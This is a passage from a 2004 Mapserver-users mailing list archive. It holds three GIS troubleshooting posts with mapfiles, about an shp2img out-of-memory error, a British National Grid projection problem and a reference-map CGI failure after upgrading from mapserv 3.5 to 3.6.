When I run this with shp2img, I get a message: gd-png: fatal libpng error: Out of Memory gd-png error: setjmp returns error condition Here's the map file. Could someone else try this out for me with shp2img? Tyler --------------- NAME wms_test STATUS ON SIZE 400 400 EXTENT -180 -90 180 90 UNITS DD SHAPEPATH "../data" IMAGECOLOR 255 255 255 FONTSET "../fontsets/fonts.txt" PROJECTION "proj=latlong" "ellps=GRS80" END WEB HEADER demo_header.html TEMPLATE test_wms.html FOOTER demo_footer.html IMAGEPATH "." IMAGEURL "/tmp/" LOG "mslog.txt" END # Web LAYER NAME global_mosaic TYPE RASTER STATUS DEFAULT CONNECTIONTYPE WMS CONNECTION "http://wms.jpl.nasa.gov/wms.cgi?version=1.1.0&srs=epsg:4326&format=image/png&layers=global_mosaic&styles=visual" METADATA "wms_srs" "epsg:4326" END END # global_mosaic END # Map File From douguoli at yahoo.com.cn Wed Jun 30 17:38:44 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Thu, 1 Jul 2004 08:38:44 +0800 (CST) Subject: [Mapserver-users] projection problems Message-ID: <20040701003844.91510.qmail@web15206.mail.bjs.yahoo.com> --0-1203949747-1088642324=:71588 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Hi, I am trying view a .shp file. But only an image with background color defined in the map object is obtained. I'm not sure how to write the projection. Could somebody help me? Below are the info got from ogrinfo and my mapfile. INFO: Open of `c:\Proj\TopographicArea_area.shp' using driver `ESRI Shapefile' successful. Layer name: TopographicArea_area Geometry: Polygon Feature Count: 10261 Extent: (350137.990000, 168102.400000) - (356541.550000, 174643.090000) Layer SRS WKT: PROJCS["British_National_Grid", GEOGCS["GCS_OSGB_1936", DATUM["OSGB_1936", SPHEROID["Airy_1830",6377563.396,299.3249646]], PRIMEM["Greenwich",0], UNIT["Degree",0.017453292519943295]], PROJECTION["Transverse_Mercator"], PARAMETER["False_Easting",400000], PARAMETER["False_Northing",-100000], PARAMETER["Central_Meridian",-2], PARAMETER["Scale_Factor",0.999601272], PARAMETER["Latitude_Of_Origin",49], UNIT["Meter",1]] MAPFILE MAP IMAGETYPE PNG EXTENT 350137.990000 168102.400000 356541.550000 174643.090000 #EXTENT -8000000 300000 5000000 1500000 #EXTENT 24.995716 46.984584 26.008563 47.353092 UNITS METERS SIZE 1000 1000 IMAGECOLOR 255 255 255 PROJECTION #"proj=tmerc" #"ellps=airy" #"lat_0=49" "init=epsg:2163" END WEB IMAGEPATH "/Proj/img/" IMAGEURL "/img/" END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME TopographicArea_area #CONNECTIONTYPE OGR #CONNECTION "data/BoundaryLine.tab" #CONNECTION "D:\Project\tab\LN352890.tab" DATA TopographicArea_area STATUS ON TYPE POLYGON PROJECTION "init=epsg:4269" END CLASS COLOR 180 180 0 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object Regards, Zhengda Lu --------------------------------- Do You Yahoo!? 100?????????????????????????????????? --0-1203949747-1088642324=:71588 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit
Hi, I am trying view a .shp file. But only an image with background color defined in the map object is obtained. I'm not sure how to write the projection. Could somebody help me? Below are the info got from ogrinfo and my mapfile.
 
INFO: Open of `c:\Proj\TopographicArea_area.shp'
using driver `ESRI Shapefile' successful.
Layer name: TopographicArea_area
Geometry: Polygon
Feature Count: 10261
Extent: (350137.990000, 168102.400000) - (356541.550000, 174643.090000)
Layer SRS WKT:
PROJCS["British_National_Grid",
    GEOGCS["GCS_OSGB_1936",
        DATUM["OSGB_1936",
            SPHEROID["Airy_1830",6377563.396,299.3249646]],
        PRIMEM["Greenwich",0],
        UNIT["Degree",0.017453292519943295]],
    PROJECTION["Transverse_Mercator"],
    PARAMETER["False_Easting",400000],
    PARAMETER["False_Northing",-100000],
    PARAMETER["Central_Meridian",-2],
    PARAMETER["Scale_Factor",0.999601272],
    PARAMETER["Latitude_Of_Origin",49],
    UNIT["Meter",1]]
 
MAPFILE
MAP
  IMAGETYPE PNG
  EXTENT 350137.990000 168102.400000 356541.550000 174643.090000
  #EXTENT -8000000 300000 5000000 1500000
  #EXTENT 24.995716 46.984584 26.008563 47.353092
  UNITS METERS
  SIZE 1000 1000
  IMAGECOLOR 255 255 255
  PROJECTION
    #"proj=tmerc"
    #"ellps=airy"
    #"lat_0=49"
    "init=epsg:2163"
  END
  WEB
    IMAGEPATH "/Proj/img/"
    IMAGEURL "/img/"
  END
  # Start of LAYER DEFINITIONS ---------------------------------------------
  LAYER # States polygon layer begins here
    NAME TopographicArea_area
    #CONNECTIONTYPE OGR
    #CONNECTION "data/BoundaryLine.tab"
    #CONNECTION "D:\Project\tab\LN352890.tab"
    DATA TopographicArea_area
    STATUS ON
    TYPE POLYGON
    PROJECTION
 "init=epsg:4269"
    END
    CLASS
      COLOR 180 180 0
      OUTLINECOLOR 32 32 32
    END
  END # States polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------
END # end of map file/object
Regards,
Zhengda Lu



Do You Yahoo!?
100?????????????????????????????????? --0-1203949747-1088642324=:71588-- From John.Hockaday at ga.gov.au Wed Jun 30 22:07:34 2004 From: John.Hockaday at ga.gov.au (John.Hockaday at ga.gov.au) Date: Thu, 1 Jul 2004 15:07:34 +1000 Subject: [Mapserver-users] Reference map to show bounding coordinates extent not map extent works in 3.5 but ont 3.6 Message-ID: Hi, A while ago this list, especially Steve Lime, helped me solve the problem of showing a reference map indicating the raw bounding coordinates and not the map extent coordinates. This works beautifully on mapserv3.5 but now that I have to go to mapserv3.6 it doesn't seem to work. Can anyone help me with this please? Any help is much appreciated. Thanks. A typical call to mapserv3.5 uses the following URL: http://www-b.ga.gov.au/bin/mapserv35?map=%2Fpublic%2Fhttp%2Fwww%2Fdocs%2Fasdd %2Fref.map&mode=map&layer=box&map_box_feature=new&map_box_feature_points=109. %20-12.%20159.%20-12.%20159.%20-43.%20109.%20-43.%20109.%20-12 If I replace mapserv35 with mapserv36 in the above URL I get a "Premature end of script headers: /public/http/www/cgi-bin/mapserv36" in the web server error file. The URL is: http://www-b.ga.gov.au/bin/mapserv36?map=%2Fpublic%2Fhttp%2Fwww%2Fdocs%2Fasdd %2Fref.map&mode=map&layer=box&map_box_feature=new&map_box_feature_points=109. %20-12.%20159.%20-12.%20159.%20-43.%20109.%20-43.%20109.%20-12. My map file looks like this: MAP NAME "REF" SIZE 200 132 UNITS dd EXTENT 44.000000 -90.000000 180.000000 0.000000 STATUS OFF REFERENCE SIZE 200 132 EXTENT 44.000000 -90.000000 180.000000 0.000000 IMAGE aus200x132.png STATUS OFF END LAYER NAME background TYPE RASTER DATA aus200x132.png STATUS DEFAULT TRANSFORM OFF END LAYER NAME box STATUS OFF # TRANSPARENCY 40 # TYPE LINE TYPE line CLASS COLOR 255 0 0 OUTLINECOLOR 0 0 0 OVERLAYSYMBOL 'circle' OVERLAYSIZE 8 END END LAYER NAME pnt STATUS OFF TYPE POINT CLASS SYMBOL "star" COLOR 255 0 0 OUTLINECOLOR 0 0 0 SIZE 15 END END SYMBOL NAME 'star' TYPE VECTOR FILLED TRUE POINTS 0 .375 .35 .375 .5 0 .65 .375 1 .375 .75 .625 .875 1 .5 .75 .125 1 .25 .625 END END SYMBOL NAME 'circle' TYPE ELLIPSE FILLED FALSE POINTS 1 1 END END END